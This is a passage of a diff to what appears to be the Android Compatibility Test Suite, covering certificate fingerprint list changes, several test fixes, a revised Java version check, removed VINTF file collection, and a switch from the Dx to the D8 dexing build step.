"79:5F:88:60:C5:AB:7C:3D:92:E6:CB:F4:8D:E1:45:CD:11:EF:60:0B",
@@ -64,7 +64,6 @@
"59:AF:82:79:91:86:C7:B4:75:07:CB:CF:03:57:46:EB:04:DD:B7:16",
"50:30:06:09:1D:97:D4:F5:AE:39:F7:CB:E7:92:7D:7D:65:2D:34:31",
"FE:45:65:9B:79:03:5B:98:A1:61:B5:51:2E:AC:DA:58:09:48:22:4D",
- "1B:4B:39:61:26:27:6B:64:91:A2:68:6D:D7:02:43:21:2D:1F:1D:96",
"8C:F4:27:FD:79:0C:3A:D1:66:06:8D:E8:1E:57:EF:BB:93:22:72:D4",
"2F:78:3D:25:52:18:A7:4A:65:39:71:B5:2C:A2:9C:45:15:6F:E9:19",
"BA:29:41:60:77:98:3F:F4:F3:EF:F2:31:05:3B:2E:EA:6D:4D:45:FD",
@@ -73,6 +72,7 @@
"36:79:CA:35:66:87:72:30:4D:30:A5:FB:87:3B:0F:A7:7B:B7:0D:54",
"1B:8E:EA:57:96:29:1A:C9:39:EA:B8:0A:81:1A:73:73:C0:93:79:67",
"6E:26:64:F3:56:BF:34:55:BF:D1:93:3F:7C:01:DE:D8:13:DA:8A:A6",
+ "74:3A:F0:52:9B:D0:32:A0:F4:4A:83:CD:D4:BA:A9:7B:7C:2E:C4:9A",
"D8:EB:6B:41:51:92:59:E0:F3:E7:85:00:C0:3D:B6:88:97:C9:EE:FC",
"66:31:BF:9E:F7:4F:9E:B6:C9:D5:A6:0C:BA:6A:BE:D1:F7:BD:EF:7B",
"DE:3F:40:BD:50:93:D3:9B:6C:60:F6:DA:BC:07:62:01:00:89:76:C9",
@@ -83,14 +83,14 @@
"43:13:BB:96:F1:D5:86:9B:C1:4E:6A:92:F6:CF:F6:34:69:87:82:37",
"F1:8B:53:8D:1B:E9:03:B6:A6:F0:56:43:5B:17:15:89:CA:F3:6B:F2",
"05:63:B8:63:0D:62:D7:5A:BB:C8:AB:1E:4B:DF:B5:A8:99:B2:4D:43",
- "62:52:DC:40:F7:11:43:A2:2F:DE:9E:F7:34:8E:06:42:51:B1:81:18",
"70:17:9B:86:8C:00:A4:FA:60:91:52:22:3F:9F:3E:32:BD:E0:05:62",
"D1:EB:23:A4:6D:17:D6:8F:D9:25:64:C2:F1:F1:60:17:64:D8:E3:49",
"B8:01:86:D1:EB:9C:86:A5:41:04:CF:30:54:F3:4C:52:B7:E5:58:C6",
- "2E:14:DA:EC:28:F0:FA:1E:8E:38:9A:4E:AB:EB:26:C0:0A:D3:83:C3",
+ "4C:DD:51:A3:D1:F5:20:32:14:B0:C6:C5:32:23:03:91:C7:46:42:6D",
"DE:28:F4:A4:FF:E5:B9:2F:A3:C5:03:D1:A3:49:A7:F9:96:2A:82:12",
"0D:44:DD:8C:3C:8C:1A:1A:58:75:64:81:E9:0F:2E:2A:FF:B3:D2:6E",
"CA:3A:FB:CF:12:40:36:4B:44:B2:16:20:88:80:48:39:19:93:7C:F7",
+ "FF:BD:CD:E7:82:C8:43:5E:3C:6F:26:86:5C:CA:A8:3A:45:5B:C3:0A",
"13:2D:0D:45:53:4B:69:97:CD:B2:D5:C3:39:E2:55:76:60:9B:5C:C6",
"5F:B7:EE:06:33:E2:59:DB:AD:0C:4C:9A:E6:D3:8F:1A:61:C7:DC:25",
"49:0A:75:74:DE:87:0A:47:FE:58:EE:F6:C7:6B:EB:C6:0B:12:40:99",
@@ -98,6 +98,7 @@
"29:36:21:02:8B:20:ED:02:F5:66:C5:32:D1:D6:ED:90:9F:45:00:2F",
"37:9A:19:7B:41:85:45:35:0C:A6:03:69:F3:3C:2E:AF:47:4F:20:79",
"FA:B7:EE:36:97:26:62:FB:2D:B0:2A:F6:BF:03:FD:E8:7C:4B:2F:9B",
+ "C3:19:7C:39:24:E6:54:AF:1B:C4:AB:20:95:7A:E2:C3:0E:13:02:6A",
"9F:74:4E:9F:2B:4D:BA:EC:0F:31:2C:50:B6:56:3B:8E:2D:93:C3:11",
"A1:4B:48:D9:43:EE:0A:0E:40:90:4F:3C:E0:A4:C0:91:93:51:5D:3F",
"C9:A8:B9:E7:55:80:5E:58:E3:53:77:A7:25:EB:AF:C3:7B:27:CC:D7",
@@ -119,6 +120,7 @@
"AA:DB:BC:22:23:8F:C4:01:A1:27:BB:38:DD:F4:1D:DB:08:9E:F0:12",
"E2:52:FA:95:3F:ED:DB:24:60:BD:6E:28:F3:9C:CC:CF:5E:B3:3F:DE",
"3B:C4:9F:48:F8:F3:73:A0:9C:1E:BD:F8:5B:B1:C3:65:C7:D8:11:B3",
+ "0F:36:38:5B:81:1A:25:C3:9B:31:4E:83:CA:E9:34:66:70:CC:74:B4",
"28:90:3A:63:5B:52:80:FA:E6:77:4C:0B:6D:A7:D6:BA:A6:4A:F2:E8",
"9C:BB:48:53:F6:A4:F6:D3:52:A4:E8:32:52:55:60:13:F5:AD:AF:65",
"B1:BC:96:8B:D4:F4:9D:62:2A:A8:9A:81:F2:15:01:52:A4:1D:82:9C",
@@ -129,6 +131,7 @@
"47:BE:AB:C9:22:EA:E8:0E:78:78:34:62:A7:9F:45:C2:54:FD:E6:8B",
"3A:44:73:5A:E5:81:90:1F:24:86:61:46:1E:3B:9C:C4:5F:F5:3A:1B",
"B3:1E:B1:B7:40:E3:6C:84:02:DA:DC:37:D4:4D:F5:D4:67:49:52:F9",
+ "58:D1:DF:95:95:67:6B:63:C0:F0:5B:1C:17:4D:8B:84:0B:C8:78:BD",
"F5:17:A2:4F:9A:48:C6:C9:F8:A2:00:26:9F:DC:0F:48:2C:AB:30:89",
"3B:C0:38:0B:33:C3:F6:A6:0C:86:15:22:93:D9:DF:F5:4B:81:C0:04",
"03:9E:ED:B8:0B:E7:A0:3C:69:53:89:3B:20:D2:D9:32:3A:4C:2A:FD",
@@ -139,12 +142,12 @@
"B8:23:6B:00:2F:1D:16:86:53:01:55:6C:11:A4:37:CA:EB:FF:C3:BB",
"87:82:C6:C3:04:35:3B:CF:D2:96:92:D2:59:3E:7D:44:D9:34:FF:11",
"59:0D:2D:7D:88:4F:40:2E:61:7E:A5:62:32:17:65:CF:17:D8:94:E9",
+ "B8:BE:6D:CB:56:F1:55:B9:63:D4:12:CA:4E:06:34:C7:94:B2:1C:C0",
"AE:C5:FB:3F:C8:E1:BF:C4:E5:4F:03:07:5A:9A:E8:00:B7:F7:B6:FA",
"DF:71:7E:AA:4A:D9:4E:C9:55:84:99:60:2D:48:DE:5F:BC:F0:3A:25",
"F6:10:84:07:D6:F8:BB:67:98:0C:C2:E2:44:C2:EB:AE:1C:EF:63:BE",
"AF:E5:D2:44:A8:D1:19:42:30:FF:47:9F:E2:F8:97:BB:CD:7A:8C:B4",
"5F:3B:8C:F2:F8:10:B3:7D:78:B4:CE:EC:19:19:C3:73:34:B9:C7:74",
- "F1:7F:6F:B6:31:DC:99:E3:A3:C8:7F:FE:1C:F1:81:10:88:D9:60:33",
"9D:70:BB:01:A5:A4:A0:18:11:2E:F7:1C:01:B9:32:C5:34:E7:88:A8",
"96:C9:1B:0B:95:B4:10:98:42:FA:D0:D8:22:79:FE:60:FA:B9:16:83",
"4F:65:8E:1F:E9:06:D8:28:02:E9:54:47:41:C9:54:25:5D:69:CC:1A",
@@ -155,7 +158,6 @@
"F9:B5:B6:32:45:5F:9C:BE:EC:57:5F:80:DC:E9:6E:2C:C7:B2:78:B7",
"E6:21:F3:35:43:79:05:9A:4B:68:30:9D:8A:2F:74:22:15:87:EC:79",
"89:DF:74:FE:5C:F4:0F:4A:80:F9:E3:37:7D:54:DA:91:E1:01:31:8E",
- "E0:B4:32:2E:B2:F6:A5:68:B6:54:53:84:48:18:4A:50:36:87:43:84",
"7E:04:DE:89:6A:3E:66:6D:00:E6:87:D3:3F:FA:D9:3B:E8:3D:34:9E",
"6E:3A:55:A4:19:0C:19:5C:93:84:3C:C0:DB:72:2E:31:30:61:F0:B1",
"4E:B6:D5:78:49:9B:1C:CF:5F:58:1E:AD:56:BE:3D:9B:67:44:A5:E5",
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
index b385ecd..282a002 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
@@ -19,7 +19,9 @@
import static android.support.test.InstrumentationRegistry.getInstrumentation;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
@@ -48,6 +50,8 @@
@Before
public void setUp() {
+ assumeFalse(getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_EMBEDDED));
mDevice = UiDevice.getInstance(getInstrumentation());
}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadReceiverTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadReceiverTest.java
index 2495af3..0d88f13 100644
--- a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadReceiverTest.java
+++ b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadReceiverTest.java
@@ -95,7 +95,12 @@
tempFileRootDir = new File(mContext.getFilesDir(), "CtsTestDir");
tempFileRootDir.mkdir();
tempFileRootDirPath = tempFileRootDir.getCanonicalPath();
- mDownloadSession.setTempFileRootDirectory(tempFileRootDir);
+ try {
+ mDownloadSession.setTempFileRootDirectory(tempFileRootDir);
+ } catch (IllegalStateException e) {
+ tearDown();
+ throw e;
+ }
}
@Override
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadTestBase.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadTestBase.java
index 3f490ad..9da5f04 100644
--- a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadTestBase.java
+++ b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadTestBase.java
@@ -33,6 +33,7 @@
import android.telephony.mbms.FileServiceInfo;
import android.telephony.mbms.MbmsDownloadSessionCallback;
import android.test.InstrumentationTestCase;
+import android.util.Log;
import com.android.internal.os.SomeArgs;
@@ -61,6 +62,8 @@
args.arg1 = errorCode;
args.arg2 = message;
mErrorCalls.add(args);
+ Log.i(MbmsDownloadTestBase.class.getSimpleName(),
+ "Got error: " + errorCode + ": " + message);
}
@Override
@@ -121,6 +124,7 @@
mHandlerThread = new HandlerThread("EmbmsCtsTestWorker");
mHandlerThread.start();
mCallbackHandler = new Handler(mHandlerThread.getLooper());
+ mCallback = new TestCallback();
getControlBinder();
setupDownloadSession();
}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingTestBase.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingTestBase.java
index be06109..e170998 100644
--- a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingTestBase.java
+++ b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingTestBase.java
@@ -98,6 +98,7 @@
mHandlerThread = new HandlerThread("EmbmsCtsTestWorker");
mHandlerThread.start();
mCallbackHandler = new Handler(mHandlerThread.getLooper());
+ mCallback = new TestCallback();
getControlBinder();
setupStreamingSession();
}
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
index ffc0b5f8..125374d 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
@@ -97,8 +97,7 @@
@Test
public void testGenerateLinks() {
- assertValidResult(mClassifier.generateLinks(TEXT,
- new TextLinks.Options.Builder().setLocaleList(LOCALES).build()));
+ assertValidResult(mClassifier.generateLinks(TEXT, null));
}
@Test
@@ -110,6 +109,8 @@
private static void assertValidResult(TextSelection selection) {
assertNotNull(selection);
+ assertTrue(selection.getSelectionStartIndex() >= 0);
+ assertTrue(selection.getSelectionEndIndex() > selection.getSelectionStartIndex());
assertTrue(selection.getEntityCount() >= 0);
for (int i = 0; i < selection.getEntityCount(); i++) {
final String entity = selection.getEntity(i);
@@ -130,7 +131,7 @@
assertTrue(confidenceScore >= 0);
assertTrue(confidenceScore <= 1);
}
- assertTrue(classification.getActionCount() >= 0);
+ assertTrue(classification.getSecondaryActionsCount() >= 0);
}
private static void assertValidResult(TextLinks links) {
@@ -148,6 +149,4 @@
}
}
}
-
}
-
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index d898fb5..966fe19 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -47,6 +47,7 @@
import android.transition.Transition.TransitionListener;
import android.transition.TransitionValues;
import android.util.AttributeSet;
+import android.util.DisplayMetrics;
import android.view.Display;
import android.view.Gravity;
import android.view.MotionEvent;
@@ -1429,6 +1430,16 @@
@Test
public void testAnchorInPopup() throws Throwable {
+ DisplayMetrics displayMetrics = mActivity.getResources().getDisplayMetrics();
+ float dpWidth = displayMetrics.widthPixels / displayMetrics.density;
+ float dpHeight = displayMetrics.heightPixels / displayMetrics.density;
+ final int minDisplaySize = 320;
+ if (dpWidth < minDisplaySize || dpHeight < minDisplaySize) {
+ // On smaller screens the popups that this test is creating
+ // are not guaranteed to be properly aligned to their anchors.
+ return;
+ }
+
mPopupWindow = createPopupWindow(
mActivity.getLayoutInflater().inflate(R.layout.popup_window, null));
diff --git a/tools/cts-tradefed/etc/cts-tradefed b/tools/cts-tradefed/etc/cts-tradefed
index 7560b62..4f36b8f 100755
--- a/tools/cts-tradefed/etc/cts-tradefed
+++ b/tools/cts-tradefed/etc/cts-tradefed
@@ -36,18 +36,10 @@
checkPath java
# check java version
-if [ "${EXPERIMENTAL_USE_OPENJDK9}" == "" ]; then
- JAVA_VERSION=$(java -version 2>&1 | head -n 2 | grep '[ "]1\.[678][\. "$$]')
- if [ "${JAVA_VERSION}" == "" ]; then
- echo "Wrong java version. 1.6, 1.7 or 1.8 is required."
- exit
- fi
-else
- JAVA_VERSION=$(java -version 2>&1 | head -n 2 | grep '^java .* "9.*')
- if [ "${JAVA_VERSION}" == "" ]; then
- echo "Wrong java version. Version 9 is required."
- exit
- fi
+JAVA_VERSION=$(java -version 2>&1 | head -n 1 | grep 'version [ "]\(1\.8\|9\).*[ "]')
+if [ "${JAVA_VERSION}" == "" ]; then
+ echo "Wrong java version. 1.8 or 9 is required."
+ exit
fi
# check debug flag and set up remote debugging
diff --git a/tools/cts-tradefed/res/config/cts-device-files.xml b/tools/cts-tradefed/res/config/cts-device-files.xml
index 92a3e28..6acf7bb 100644
--- a/tools/cts-tradefed/res/config/cts-device-files.xml
+++ b/tools/cts-tradefed/res/config/cts-device-files.xml
@@ -23,30 +23,6 @@
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
- <option name="src-file" value="/system/manifest.xml" />
- <option name="dest-file" value="vintf-files/framework_manifest.xml"/>
- <option name="property" key="ro.treble.enabled" value="true"/>
- </target_preparer>
-
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
- <option name="src-file" value="/system/compatibility_matrix.xml" />
- <option name="dest-file" value="vintf-files/framework_compatibility_matrix.xml"/>
- <option name="property" key="ro.treble.enabled" value="true"/>
- </target_preparer>
-
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
- <option name="src-file" value="/vendor/manifest.xml" />
- <option name="dest-file" value="vintf-files/device_manifest.xml"/>
- <option name="property" key="ro.treble.enabled" value="true"/>
- </target_preparer>
-
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
- <option name="src-file" value="/vendor/compatibility_matrix.xml" />
- <option name="dest-file" value="vintf-files/device_compatibility_matrix.xml"/>
- <option name="property" key="ro.treble.enabled" value="true"/>
- </target_preparer>
-
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
<option name="src-file" value="/proc/config.gz" />
<option name="dest-file" value="vintf-files/proc_config.gz"/>
<option name="property" key="ro.treble.enabled" value="true"/>
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index fdcdfba..8c3d78f 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -43,7 +43,7 @@
LOCAL_MODULE_CLASS := JAVA_LIBRARIES
LOCAL_MODULE_TAGS := optional
-LOCAL_JAVA_LIBRARIES := dx dasm cfassembler junit-host jsr305lib
+LOCAL_JAVA_LIBRARIES := dx dasm cfassembler junit-host jsr305lib d8
LOCAL_CLASSPATH := $(HOST_JDK_TOOLS_JAR)
@@ -72,7 +72,7 @@
vmteststf_dep_jars := \
$(HOST_JDK_TOOLS_JAR) \
$(cts-tf-dalvik-lib.jar) \
- $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dasm.jar dx.jar cfassembler.jar junit-host.jar)
+ $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dasm.jar dx.jar cfassembler.jar junit-host.jar d8.jar)
$(LOCAL_BUILT_MODULE): PRIVATE_SRC_FOLDER := $(LOCAL_PATH)/src
$(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_CLASSES := $(call intermediates-dir-for,JAVA_LIBRARIES,cts-tf-dalvik-buildutil,HOST)/classes
diff --git a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java b/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
index f8bf13a..e9e1996 100644
--- a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
+++ b/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
@@ -445,7 +445,7 @@
}
- DxBuildStep dexBuildStep = new DxBuildStep(
+ D8BuildStep dexBuildStep = new D8BuildStep(
new BuildStep.BuildFile(new File(CLASSES_OUTPUT_FOLDER)),
new BuildStep.BuildFile(new File(mainsJar)),
false);
@@ -571,7 +571,7 @@
OUTPUT_FOLDER,
classFileName + ".jar");
- DxBuildStep dexBuildStep = new DxBuildStep(tmpJarFile,
+ D8BuildStep dexBuildStep = new D8BuildStep(tmpJarFile,
outputFile,
true);
diff --git a/tools/vm-tests-tf/src/util/build/D8BuildStep.java b/tools/vm-tests-tf/src/util/build/D8BuildStep.java
new file mode 100644
index 0000000..cd97dba
--- /dev/null
+++ b/tools/vm-tests-tf/src/util/build/D8BuildStep.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import com.android.tools.r8.CompilationMode;
+import com.android.tools.r8.D8;
+import com.android.tools.r8.D8Command;
+import com.android.tools.r8.utils.OutputMode;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.nio.file.attribute.BasicFileAttributes;
+
+public class D8BuildStep extends BuildStep {
+
+ private final boolean deleteInputFileAfterBuild;
+ private final D8Command.Builder builder;
+
+ D8BuildStep(BuildFile inputFile, BuildFile outputFile, boolean deleteInputFileAfterBuild) {
+ super(inputFile, outputFile);
+ this.deleteInputFileAfterBuild = deleteInputFileAfterBuild;
+ this.builder =
+ D8Command.builder()
+ .setMode(CompilationMode.DEBUG)
+ .setMinApiLevel(1000)
+ .setEnableDesugaring(false)
+ .setOutputMode(OutputMode.Indexed);
+ }
+
+ @Override
+ boolean build() {
+
+ if (super.build()) {
+ try {
+ builder.setOutputPath(Paths.get(outputFile.fileName.getAbsolutePath()));
+ Files.find(
+ Paths.get(inputFile.fileName.getAbsolutePath()),
+ 1000,
+ D8BuildStep::isJarOrClassFile)
+ .forEach(
+ p -> {
+ try {
+ builder.addProgramFiles(p);
+ } catch (Throwable e) {
+ e.printStackTrace();
+ }
+ });
+ D8.run(builder.build());
+ } catch (Throwable e) {
+ e.printStackTrace();
+ return false;
+ }
+ if (deleteInputFileAfterBuild) {
+ inputFile.fileName.delete();
+ }
+ return true;
+ }
+ return false;
+ }
+
+ @Override
+ public int hashCode() {
+ return inputFile.hashCode() ^ outputFile.hashCode();
+ }
+
+ @Override
+ public boolean equals(Object obj) {
+ if (super.equals(obj)) {
+ D8BuildStep other = (D8BuildStep) obj;
+
+ return inputFile.equals(other.inputFile) && outputFile.equals(other.outputFile);
+ }
+ return false;
+ }
+
+ private static boolean isJarOrClassFile(Path file, BasicFileAttributes attrs) {
+ if (!attrs.isRegularFile()) {
+ return false;
+ }
+ String name = file.getFileName().toString().toLowerCase();
+ return name.endsWith(".jar") || name.endsWith(".class");
+ }
+}
diff --git a/tools/vm-tests-tf/src/util/build/DxBuildStep.java b/tools/vm-tests-tf/src/util/build/DxBuildStep.java
deleted file mode 100644
index 6e347b2..0000000
--- a/tools/vm-tests-tf/src/util/build/DxBuildStep.java
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package util.build;
-
-import com.android.dx.command.dexer.Main;
-import java.io.IOException;
-
-public class DxBuildStep extends BuildStep {
-
- private final boolean deleteInputFileAfterBuild;
-
- DxBuildStep(BuildFile inputFile, BuildFile outputFile,
- boolean deleteInputFileAfterBuild) {
- super(inputFile, outputFile);
- this.deleteInputFileAfterBuild = deleteInputFileAfterBuild;
- }
-
- @Override
- boolean build() {
-
- if (super.build()) {
- Main.Arguments args = new Main.Arguments();
-
- args.jarOutput = true;
- args.fileNames = new String[] {inputFile.fileName.getAbsolutePath()};
-
- args.outName = outputFile.fileName.getAbsolutePath();
-
- int result = 0;
- try {
- result = Main.run(args);
- } catch (IOException e) {
- e.printStackTrace();
- return false;
- }
-
- if (result == 0) {
- if (deleteInputFileAfterBuild) {
- inputFile.fileName.delete();
- }
- return true;
- } else {
- System.err.println("exception while dexing "
- + inputFile.fileName.getAbsolutePath() + " to "
- + args.outName);
- return false;
- }
- }
- return false;
- }
-
- @Override
- public int hashCode() {
- return inputFile.hashCode() ^ outputFile.hashCode();
- }
-
- @Override
- public boolean equals(Object obj) {
- if (super.equals(obj)) {
- DxBuildStep other = (DxBuildStep) obj;
-
- return inputFile.equals(other.inputFile)
- && outputFile.equals(other.outputFile);
- }
- return false;
- }
-
-
-}